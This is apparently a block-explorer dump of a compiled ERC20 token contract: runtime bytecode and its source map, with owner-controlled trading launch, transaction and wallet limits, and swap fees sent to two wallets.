a01b0319169055565b6000546001600160a01b031633146107de5760405162461bcd60e51b81526004016103eb9061180e565b600019601181905560128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b6000546001600160a01b0316331461084a5760405162461bcd60e51b81526004016103eb9061180e565b601654600160a01b900460ff16156108a45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103eb565b6016805462ff00ff60a01b19166201000160a01b17905543600855565b6000546001600160a01b031633146108eb5760405162461bcd60e51b81526004016103eb9061180e565b6108f447610cf0565b565b60006103b7338484610a28565b6001600160a01b0383166109655760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103eb565b6001600160a01b0382166109c65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103eb565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a8c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103eb565b6001600160a01b038216610aee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103eb565b60008111610b505760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103eb565b601654600160a01b900460ff16610be3576001600160a01b03821660009081526003602052604090205460ff1680610ba057506001600160a01b03831660009081526003602052604090205460ff165b610be35760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b60448201526064016103eb565b601654600160a81b900460ff1680610c055750601654600160a01b900460ff16155b15610cab576001600160a01b03831660009081526001602052604081208054839290610c329084906119f8565b90915550506001600160a01b03821660009081526001602052604081208054839290610c5f9084906118b3565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a1b91815260200190565b6106b1838383610da6565b60008184841115610cda5760405162461bcd60e51b81526004016103eb91906117bb565b506000610ce784866119f8565b95945050505050565b6000606460065483610d0291906119d9565b610d0c91906118cb565b90506000606460075484610d2091906119d9565b610d2a91906118cb565b6004546040519192506001600160a01b03169083156108fc029084906000818181858888f19350505050158015610d65573d6000803e3d6000fd5b506005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610da0573d6000803e3d6000fd5b50505050565b6000610dd46064610dce600d5460105411610dc357600954610dc7565b600b545b85906112e0565b90611366565b9050610de86000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610e1757506000546001600160a01b03848116911614155b1561119d576016546001600160a01b038581169116148015610e4757506015546001600160a01b03848116911614155b8015610e6c57506001600160a01b03831660009081526003602052604090205460ff16155b15610f7657601154821115610ec35760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103eb565b60125482610ee6856001600160a01b031660009081526001602052604090205490565b610ef091906118b3565b1115610f3e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103eb565b436008546003610f4e91906118b3565b1115610f6057823b15610f6057600080fd5b60108054906000610f7083611a0f565b91905055505b6016546001600160a01b03848116911614801590610fad57506001600160a01b03831660009081526003602052604090205460ff16155b1561102d5760125482610fd5856001600160a01b031660009081526001602052604090205490565b610fdf91906118b3565b111561102d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103eb565b6001600160a01b038316301480159061105e57506001600160a01b03841660009081526003602052604090205460ff165b1561106e57610da08484846113a8565b6016546001600160a01b03848116911614801561109457506001600160a01b0384163014155b156110c1576110be6064610dce600e54601054116110b457600a54610dc7565b600c5485906112e0565b90505b30600090815260016020526040902054601654600160a81b900460ff161580156110f857506016546001600160a01b038581169116145b801561110d5750601654600160b01b900460ff165b801561111c5750600f54601054115b801561114157506001600160a01b03851660009081526003602052604090205460ff16155b801561116657506001600160a01b03841660009081526003602052604090205460ff16155b1561119b576013548111156111925761119261118d846111888460145461142a565b61142a565b61143f565b61119b47610cf0565b505b801561121757306000908152600160205260409020546111bd90826115e4565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061120e9085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461123a9083611643565b6001600160a01b03851660009081526001602052604090205561127f6112608383611643565b6001600160a01b038516600090815260016020526040902054906115e4565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112c98585611643565b60405190815260200160405180910390a350505050565b6000826112ef575060006103bb565b60006112fb83856119d9565b90508261130885836118cb565b1461135f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103eb565b9392505050565b600061135f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611685565b6001600160a01b03831630148015906113c15750600081115b6113d857600c546113d39060006115e4565b6113f8565b6113f8816113f26000600b546115e490919063ffffffff16565b906115e4565b6001600160a01b038316600090815260016020526040812080549091906114209084906118b3565b9091555050505050565b6000818311611439578261135f565b50919050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061149557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114e957600080fd5b505afa1580156114fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152191906116cf565b8160018151811061154257634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526015546115689130911684610903565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906115a1908590600090869030904290600401611843565b600060405180830381600087803b1580156115bb57600080fd5b505af11580156115cf573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b6000806115f183856118b3565b90508381101561135f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103eb565b600061135f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cb6565b600081836116a65760405162461bcd60e51b81526004016103eb91906117bb565b506000610ce784866118cb565b6000602082840312156116c4578081fd5b813561135f81611a40565b6000602082840312156116e0578081fd5b815161135f81611a40565b600080604083850312156116fd578081fd5b823561170881611a40565b9150602083013561171881611a40565b809150509250929050565b600080600060608486031215611737578081fd5b833561174281611a40565b9250602084013561175281611a40565b929592945050506040919091013590565b60008060408385031215611775578182fd5b823561178081611a40565b946020939093013593505050565b6000806000606084860312156117a2578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156117e7578581018301518582016040015282016117cb565b818111156117f85783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156118925784516001600160a01b03168352938301939183019160010161186d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118c6576118c6611a2a565b500190565b6000826118e657634e487b7160e01b81526012600452602481fd5b500490565b600181815b8085111561192657816000190482111561190c5761190c611a2a565b8085161561191957918102915b93841c93908002906118f0565b509250929050565b600061135f60ff841683600082611947575060016103bb565b81611954575060006103bb565b816001811461196a576002811461197457611990565b60019150506103bb565b60ff84111561198557611985611a2a565b50506001821b6103bb565b5060208310610133831016604e8410600b84101617156119b3575081810a6103bb565b6119bd83836118eb565b80600019048211156119d1576119d1611a2a565b029392505050565b60008160001904831182151516156119f3576119f3611a2a565b500290565b600082821015611a0a57611a0a611a2a565b500390565b6000600019821415611a2357611a23611a2a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611a5557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122034efbbf21929d6e8aa768834b7d15fd516b3c4724d72f07571f38cc5a2a405f664736f6c63430008040033
Deployed Bytecode Sourcemap
3952:9830:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6620:83;;;;;;;;;;-1:-1:-1;6690:5:0;;;;;;;;;;;;-1:-1:-1;;;6690:5:0;;;;6620:83;;;;;;;:::i;:::-;;;;;;;;12648:186;;;;;;;;;;-1:-1:-1;12648:186:0;;;;;:::i;:::-;;:::i;:::-;;;3361:14:1;;3354:22;3336:41;;3324:2;3309:18;12648:186:0;3291:92:1;5176:55:0;;;;;;;;;;;;;;;;;;;8699:25:1;;;8687:2;8672:18;5176:55:0;8654:76:1;5977:635:0;;;;;;;;;;;;;:::i;:::-;;6897:95;;;;;;;;;;;;;:::i;12842:446::-;;;;;;;;;;-1:-1:-1;12842:446:0;;;;;:::i;:::-;;:::i;6806:83::-;;;;;;;;;;-1:-1:-1;6806:83:0;;4797:1;9865:36:1;;9853:2;9838:18;6806:83:0;9820:87:1;7000:117:0;;;;;;;;;;-1:-1:-1;7000:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;7093:16:0;7066:7;7093:16;;;:7;:16;;;;;;;7000:117;3797:148;;;;;;;;;;;;;:::i;12111:174::-;;;;;;;;;;;;;:::i;4985:56::-;;;;;;;;;;;;;;;;11901:202;;;;;;;;;;;;;:::i;3583:79::-;;;;;;;;;;-1:-1:-1;3621:7:0;3648:6;3583:79;;-1:-1:-1;;;;;3648:6:0;;;2213:51:1;;2201:2;2186:18;3583:79:0;2168:102:1;5048:58:0;;;;;;;;;;;;;;;;6711:87;;;;;;;;;;-1:-1:-1;6783:7:0;;;;;;;;;;;;-1:-1:-1;;;6783:7:0;;;;6711:87;;10711:96;;;;;;;;;;;;;:::i;7125:192::-;;;;;;;;;;-1:-1:-1;7125:192:0;;;;;:::i;:::-;;:::i;5113:56::-;;;;;;;;;;;;;;;;7325:168;;;;;;;;;;-1:-1:-1;7325:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7458:18:0;;;7431:7;7458:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7325:168;12648:186;12748:4;12765:39;2153:10;12788:7;12797:6;12765:8;:39::i;:::-;-1:-1:-1;12822:4:0;12648:186;;;;;:::o;5977:635::-;3710:6;;-1:-1:-1;;;;;3710:6:0;2153:10;3710:22;3702:67;;;;-1:-1:-1;;;3702:67:0;;;;;;;:::i;:::-;;;;;;;;;6029:15:::1;:104:::0;;-1:-1:-1;;;;;;6029:104:0::1;6080:42;6029:104:::0;;::::1;::::0;;;6180:25:::1;::::0;;-1:-1:-1;;;6180:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;6080:42;6180:25;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6162:55:0::1;;6240:4;6260:15;;;;;;;;;-1:-1:-1::0;;;;;6260:15:0::1;-1:-1:-1::0;;;;;6260:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6162:131;::::0;-1:-1:-1;;;;;;6162:131:0::1;::::0;;;;;;-1:-1:-1;;;;;2505:15:1;;;6162:131:0::1;::::0;::::1;2487:34:1::0;2557:15;;2537:18;;;2530:43;2422:18;;6162:131:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6146:13;:147:::0;;-1:-1:-1;;;;;;6146:147:0::1;-1:-1:-1::0;;;;;6146:147:0;;::::1;;::::0;;6338:15:::1;::::0;6306:62:::1;::::0;6323:4:::1;::::0;6338:15:::1;-1:-1:-1::0;;6306:8:0::1;:62::i;:::-;6381:15;::::0;-1:-1:-1;;;;;6381:15:0::1;:31;6420:21;6465:4;6485:24;6465:4:::0;-1:-1:-1;;;;;7093:16:0;7066:7;7093:16;;;:7;:16;;;;;;;7000:117;6485:24:::1;6524:1;6540::::0;6556:7:::1;3621::::0;3648:6;-1:-1:-1;;;;;3648:6:0;;3583:79;6556:7:::1;6381:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6381:223:0;;;-1:-1:-1;;;;;2943:15:1;;;6381:223:0::1;::::0;::::1;2925:34:1::0;2975:18;;;2968:34;;;;3018:18;;;3011:34;;;;3061:18;;;3054:34;3125:15;;;3104:19;;;3097:44;6578:15:0::1;3157:19:1::0;;;3150:35;2859:19;;6381:223:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;5977:635::o:0;6897:95::-;6950:7;4853:15;4797:1;4853:2;:15;:::i;:::-;4840:28;;:10;:28;:::i;:::-;6970:14;;6897:95;:::o;12842:446::-;12974:4;12991:36;13001:6;13009:9;13020:6;12991:9;:36::i;:::-;13038:220;13061:6;2153:10;13109:138;13165:6;13109:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13109:19:0;;;;;;:11;:19;;;;;;;;2153:10;13109:33;;;;;;;;;;:37;:138::i;:::-;13038:8;:220::i;:::-;-1:-1:-1;13276:4:0;12842:446;;;;;:::o;3797:148::-;3710:6;;-1:-1:-1;;;;;3710:6:0;2153:10;3710:22;3702:67;;;;-1:-1:-1;;;3702:67:0;;;;;;;:::i;:::-;3904:1:::1;3888:6:::0;;3867:40:::1;::::0;-1:-1:-1;;;;;3888:6:0;;::::1;::::0;3867:40:::1;::::0;3904:1;;3867:40:::1;3935:1;3918:19:::0;;-1:-1:-1;;;;;;3918:19:0::1;::::0;;3797:148::o;12111:174::-;3710:6;;-1:-1:-1;;;;;3710:6:0;2153:10;3710:22;3702:67;;;;-1:-1:-1;;;3702:67:0;;;;;;;:::i;:::-;-1:-1:-1;;12165:12:0::1;:26:::0;;;12202:14:::1;:28:::0;;;12246:31:::1;::::0;8699:25:1;;;12246:31:0::1;::::0;8687:2:1;8672:18;12246:31:0::1;;;;;;;12111:174::o:0;11901:202::-;3710:6;;-1:-1:-1;;;;;3710:6:0;2153:10;3710:22;3702:67;;;;-1:-1:-1;;;3702:67:0;;;;;;;:::i;:::-;11962:11:::1;::::0;-1:-1:-1;;;11962:11:0;::::1;;;11961:12;11953:48;;;::::0;-1:-1:-1;;;11953:48:0;;8403:2:1;11953:48:0::1;::::0;::::1;8385:21:1::0;8442:2;8422:18;;;8415:30;8481:25;8461:18;;;8454:53;8524:18;;11953:48:0::1;8375:173:1::0;11953:48:0::1;12012:11;:18:::0;;-1:-1:-1;;;;12041:18:0;-1:-1:-1;;;12041:18:0;;;12083:12:::1;12070:10;:25:::0;11901:202::o;10711:96::-;3710:6;;-1:-1:-1;;;;;3710:6:0;2153:10;3710:22;3702:67;;;;-1:-1:-1;;;3702:67:0;;;;;;;:::i;:::-;10764:35:::1;10777:21;10764:12;:35::i;:::-;10711:96::o:0;7125:192::-;7228:4;7245:42;2153:10;7269:9;7280:6;7245:9;:42::i;7501:335::-;-1:-1:-1;;;;;7594:19:0;;7586:68;;;;-1:-1:-1;;;7586:68:0;;7998:2:1;7586:68:0;;;7980:21:1;8037:2;8017:18;;;8010:30;8076:34;8056:18;;;8049:62;-1:-1:-1;;;8127:18:1;;;8120:34;8171:19;;7586:68:0;7970:226:1;7586:68:0;-1:-1:-1;;;;;7673:21:0;;7665:68;;;;-1:-1:-1;;;7665:68:0;;4956:2:1;7665:68:0;;;4938:21:1;4995:2;4975:18;;;4968:30;5034:34;5014:18;;;5007:62;-1:-1:-1;;;5085:18:1;;;5078:32;5127:19;;7665:68:0;4928:224:1;7665:68:0;-1:-1:-1;;;;;7744:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7796:32;;8699:25:1;;;7796:32:0;;8672:18:1;7796:32:0;;;;;;;;7501:335;;;:::o;11097:796::-;-1:-1:-1;;;;;11190:18:0;;11182:68;;;;-1:-1:-1;;;11182:68:0;;6888:2:1;11182:68:0;;;6870:21:1;6927:2;6907:18;;;6900:30;6966:34;6946:18;;;6939:62;-1:-1:-1;;;7017:18:1;;;7010:35;7062:19;;11182:68:0;6860:227:1;11182:68:0;-1:-1:-1;;;;;11269:16:0;;11261:64;;;;-1:-1:-1;;;11261:64:0;;4198:2:1;11261:64:0;;;4180:21:1;4237:2;4217:18;;;4210:30;4276:34;4256:18;;;4249:62;-1:-1:-1;;;4327:18:1;;;4320:33;4370:19;;11261:64:0;4170:225:1;11261:64:0;11358:1;11344:11;:15;11336:69;;;;-1:-1:-1;;;11336:69:0;;6478:2:1;11336:69:0;;;6460:21:1;6517:2;6497:18;;;6490:30;6556:34;6536:18;;;6529:62;-1:-1:-1;;;6607:18:1;;;6600:39;6656:19;;11336:69:0;6450:231:1;11336:69:0;11423:11;;-1:-1:-1;;;11423:11:0;;;;11418:177;;-1:-1:-1;;;;;11477:22:0;;;;;;:18;:22;;;;;;;;;:50;;-1:-1:-1;;;;;;11503:24:0;;;;;;:18;:24;;;;;;;;11477:50;11451:132;;;;-1:-1:-1;;;11451:132:0;;7649:2:1;11451:132:0;;;7631:21:1;7688:2;7668:18;;;7661:30;-1:-1:-1;;;7707:18:1;;;7700:50;7767:18;;11451:132:0;7621:170:1;11451:132:0;11611:6;;-1:-1:-1;;;11611:6:0;;;;;:22;;-1:-1:-1;11622:11:0;;-1:-1:-1;;;11622:11:0;;;;11621:12;11611:22;11607:229;;;-1:-1:-1;;;;;11681:13:0;;;;;;:7;:13;;;;;:28;;11698:11;;11681:13;:28;;11698:11;;11681:28;:::i;:::-;;;;-1:-1:-1;;;;;;;11724:11:0;;;;;;:7;:11;;;;;:26;;11739:11;;11724;:26;;11739:11;;11724:26;:::i;:::-;;;;;;;;11787:2;-1:-1:-1;;;;;11772:31:0;11781:4;-1:-1:-1;;;;;11772:31:0;;11791:11;11772:31;;;;8699:25:1;;8687:2;8672:18;;8654:76;11607:229:0;11848:37;11863:4;11869:2;11873:11;11848:14;:37::i;521:224::-;641:7;677:12;669:6;;;;661:29;;;;-1:-1:-1;;;661:29:0;;;;;;;;:::i;:::-;-1:-1:-1;701:9:0;713:5;717:1;713;:5;:::i;:::-;701:17;521:224;-1:-1:-1;;;;;521:224:0:o;10815:274::-;10872:16;10925:3;10901:20;;10892:6;:29;;;;:::i;:::-;10891:37;;;;:::i;:::-;10872:56;;10939:17;10994:3;10969:21;;10960:6;:30;;;;:::i;:::-;10959:38;;;;:::i;:::-;11010:10;;:29;;10939:58;;-1:-1:-1;;;;;;11010:10:0;;:29;;;;;11030:8;;11010:10;:29;:10;:29;11030:8;11010:10;:29;;;;;;;;;;;;;;;;;;;;-1:-1:-1;11050:11:0;;:31;;-1:-1:-1;;;;;11050:11:0;;;;:31;;;;;11071:9;;11050:11;:31;:11;:31;11071:9;11050:11;:31;;;;;;;;;;;;;;;;;;;;;10815:274;;;:::o;7844:2620::-;7935:17;7955:115;8066:3;7955:92;7998:15;;7986:9;;:27;7985:61;;8032:14;;7985:61;;;8017:12;;7985:61;7955:11;;:29;:92::i;:::-;:110;;:115::i;:::-;7935:135;;8095:7;3621;3648:6;-1:-1:-1;;;;;3648:6:0;;3583:79;8095:7;-1:-1:-1;;;;;8087:15:0;:4;-1:-1:-1;;;;;8087:15:0;;;:32;;;;-1:-1:-1;3621:7:0;3648:6;-1:-1:-1;;;;;8106:13:0;;;3648:6;;8106:13;;8087:32;8083:2005;;;8166:13;;-1:-1:-1;;;;;8158:21:0;;;8166:13;;8158:21;:72;;;;-1:-1:-1;8214:15:0;;-1:-1:-1;;;;;8200:30:0;;;8214:15;;8200:30;;8158:72;:116;;;;-1:-1:-1;;;;;;8252:22:0;;;;;;:18;:22;;;;;;;;8251:23;8158:116;8136:570;;;8332:12;;8317:11;:27;;8309:65;;;;-1:-1:-1;;;8309:65:0;;4602:2:1;8309:65:0;;;4584:21:1;4641:2;4621:18;;;4614:30;4680:27;4660:18;;;4653:55;4725:18;;8309:65:0;4574:175:1;8309:65:0;8454:14;;8439:11;8423:13;8433:2;-1:-1:-1;;;;;7093:16:0;7066:7;7093:16;;;:7;:16;;;;;;;7000:117;8423:13;:27;;;;:::i;:::-;:45;;8393:145;;;;-1:-1:-1;;;8393:145:0;;7294:2:1;8393:145:0;;;7276:21:1;7333:2;7313:18;;;7306:30;7372:28;7352:18;;;7345:56;7418:18;;8393:145:0;7266:176:1;8393:145:0;8580:12;8563:10;;8576:1;8563:14;;;;:::i;:::-;:29;8559:102;;;12576:20;;12624:8;8617:24;;;;;;8679:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8136:570;8732:13;;-1:-1:-1;;;;;8726:19:0;;;8732:13;;8726:19;;;;:46;;-1:-1:-1;;;;;;8750:22:0;;;;;;:18;:22;;;;;;;;8749:23;8726:46;8722:232;;;8854:14;;8839:11;8823:13;8833:2;-1:-1:-1;;;;;7093:16:0;7066:7;7093:16;;;:7;:16;;;;;;;7000:117;8823:13;:27;;;;:::i;:::-;:45;;8793:145;;;;-1:-1:-1;;;8793:145:0;;7294:2:1;8793:145:0;;;7276:21:1;7333:2;7313:18;;;7306:30;7372:28;7352:18;;;7345:56;7418:18;;8793:145:0;7266:176:1;8793:145:0;-1:-1:-1;;;;;8985:19:0;;8999:4;8985:19;;;;:47;;-1:-1:-1;;;;;;9008:24:0;;;;;;:18;:24;;;;;;;;8985:47;8982:100;;;9036:35;9049:4;9055:2;9059:11;9036:12;:35::i;8982:100::-;9108:13;;-1:-1:-1;;;;;9102:19:0;;;9108:13;;9102:19;:44;;;;-1:-1:-1;;;;;;9125:21:0;;9141:4;9125:21;;9102:44;9098:337;;;9179:240;9415:3;9179:209;9256:16;;9244:9;;:28;9243:122;;9350:15;;9243:122;;;9305:13;;9179:11;;:37;:209::i;:240::-;9167:252;;9098:337;9500:4;9451:28;7093:16;;;:7;:16;;;;;;9544:6;;-1:-1:-1;;;9544:6:0;;;;9543:7;:47;;;;-1:-1:-1;9577:13:0;;-1:-1:-1;;;;;9571:19:0;;;9577:13;;9571:19;9543:47;:79;;;;-1:-1:-1;9611:11:0;;-1:-1:-1;;;9611:11:0;;;;9543:79;:130;;;;;9655:18;;9643:9;;:30;9543:130;:176;;;;-1:-1:-1;;;;;;9695:24:0;;;;;;:18;:24;;;;;;;;9694:25;9543:176;:220;;;;-1:-1:-1;;;;;;9741:22:0;;;;;;:18;:22;;;;;;;;9740:23;9543:220;9521:556;;;9824:17;;9801:20;:40;9798:210;;;9866:122;9909:56;9913:11;9926:38;9930:20;9952:11;;9926:3;:38::i;:::-;9909:3;:56::i;:::-;9866:16;:122::i;:::-;10026:35;10039:21;10026:12;:35::i;:::-;8083:2005;;10104:13;;10100:168;;10175:4;10159:22;;;;:7;:22;;;;;;:37;;10186:9;10159:26;:37::i;:::-;10150:4;10134:22;;;;:7;:22;;;;;;;:62;;;;10216:40;;-1:-1:-1;;;;;10216:40:0;;;;;;;10246:9;8699:25:1;;8687:2;8672:18;;8654:76;10216:40:0;;;;;;;;10100:168;-1:-1:-1;;;;;10296:13:0;;;;;;:7;:13;;;;;;:30;;10314:11;10296:17;:30::i;:::-;-1:-1:-1;;;;;10280:13:0;;;;;;:7;:13;;;;;:46;10351:43;10367:26;:11;10383:9;10367:15;:26::i;:::-;-1:-1:-1;;;;;10351:11:0;;;;;;:7;:11;;;;;;;:15;:43::i;:::-;-1:-1:-1;;;;;10337:11:0;;;;;;;:7;:11;;;;;:57;;;;10410:46;;;10429:26;:11;10445:9;10429:15;:26::i;:::-;10410:46;;8699:25:1;;;8687:2;8672:18;10410:46:0;;;;;;;7844:2620;;;;:::o;753:246::-;811:7;835:6;831:47;;-1:-1:-1;865:1:0;858:8;;831:47;888:9;900:5;904:1;900;:5;:::i;:::-;888:17;-1:-1:-1;933:1:0;924:5;928:1;888:17;924:5;:::i;:::-;:10;916:56;;;;-1:-1:-1;;;916:56:0;;5715:2:1;916:56:0;;;5697:21:1;5754:2;5734:18;;;5727:30;5793:34;5773:18;;;5766:62;-1:-1:-1;;;5844:18:1;;;5837:31;5885:19;;916:56:0;5687:223:1;916:56:0;990:1;753:246;-1:-1:-1;;;753:246:0:o;1007:132::-;1065:7;1092:39;1096:1;1099;1092:39;;;;;;;;;;;;;;;;;:3;:39::i;10472:231::-;-1:-1:-1;;;;;10582:23:0;;10600:4;10582:23;;;;:37;;;10618:1;10609:6;:10;10582:37;:112;;10672:13;;:22;;10690:3;10672:17;:22::i;:::-;10582:112;;;10636:33;10662:6;10636:21;10653:3;10636:12;;:16;;:21;;;;:::i;:::-;:25;;:33::i;:::-;-1:-1:-1;;;;;10562:16:0;;;;;;:7;:16;;;;;:132;;:16;;;:132;;;;;:::i;:::-;;;;-1:-1:-1;;;;;10472:231:0:o;12293:107::-;12350:7;12382:1;12378;:5;12377:15;;12391:1;12377:15;;;-1:-1:-1;12387:1:0;12293:107;-1:-1:-1;12293:107:0:o;13296:483::-;5515:6;:13;;-1:-1:-1;;;;5515:13:0;-1:-1:-1;;;5515:13:0;;;13398:16:::1;::::0;;13412:1:::1;13398:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13398:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13398:16:0::1;13374:40;;13443:4;13425;13430:1;13425:7;;;;;;-1:-1:-1::0;;;13425:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;13425:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13469:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13469:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13425:7;;13469:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13459:4;13464:1;13459:7;;;;;;-1:-1:-1::0;;;13459:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;13459:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13534:15:::1;::::0;13502:62:::1;::::0;13519:4:::1;::::0;13534:15:::1;13552:11:::0;13502:8:::1;:62::i;:::-;13575:15;::::0;:196:::1;::::0;-1:-1:-1;;;13575:196:0;;-1:-1:-1;;;;;13575:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13656:11;;13575:15:::1;::::0;13698:4;;13725::::1;::::0;13745:15:::1;::::0;13575:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5551:6:0;:14;;-1:-1:-1;;;;5551:14:0;;;-1:-1:-1;;;;13296:483:0:o;190:179::-;248:7;;280:5;284:1;280;:5;:::i;:::-;268:17;;309:1;304;:6;;296:46;;;;-1:-1:-1;;;296:46:0;;5359:2:1;296:46:0;;;5341:21:1;5398:2;5378:18;;;5371:30;5437:29;5417:18;;;5410:57;5484:18;;296:46:0;5331:177:1;377:136:0;435:7;462:43;466:1;469;462:43;;;;;;;;;;;;;;;;;:3;:43::i;1147:223::-;1267:7;1302:12;1295:5;1287:28;;;;-1:-1:-1;;;1287:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1326:9:0;1338:5;1342:1;1338;:5;:::i;14:257:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:2;;;147:6;139;132:22;94:2;191:9;178:23;210:31;235:5;210:31;:::i;276:261::-;346:6;399:2;387:9;378:7;374:23;370:32;367:2;;;420:6;412;405:22;367:2;457:9;451:16;476:31;501:5;476:31;:::i;542:398::-;610:6;618;671:2;659:9;650:7;646:23;642:32;639:2;;;692:6;684;677:22;639:2;736:9;723:23;755:31;780:5;755:31;:::i;:::-;805:5;-1:-1:-1;862:2:1;847:18;;834:32;875:33;834:32;875:33;:::i;:::-;927:7;917:17;;;629:311;;;;;:::o;945:466::-;1022:6;1030;1038;1091:2;1079:9;1070:7;1066:23;1062:32;1059:2;;;1112:6;1104;1097:22;1059:2;1156:9;1143:23;1175:31;1200:5;1175:31;:::i;:::-;1225:5;-1:-1:-1;1282:2:1;1267:18;;1254:32;1295:33;1254:32;1295:33;:::i;:::-;1049:362;;1347:7;;-1:-1:-1;;;1401:2:1;1386:18;;;;1373:32;;1049:362::o;1416:325::-;1484:6;1492;1545:2;1533:9;1524:7;1520:23;1516:32;1513:2;;;1566:6;1558;1551:22;1513:2;1610:9;1597:23;1629:31;1654:5;1629:31;:::i;:::-;1679:5;1731:2;1716:18;;;;1703:32;;-1:-1:-1;;;1503:238:1:o;1746:316::-;1834:6;1842;1850;1903:2;1891:9;1882:7;1878:23;1874:32;1871:2;;;1924:6;1916;1909:22;1871:2;1958:9;1952:16;1942:26;;2008:2;1997:9;1993:18;1987:25;1977:35;;2052:2;2041:9;2037:18;2031:25;2021:35;;1861:201;;;;;:::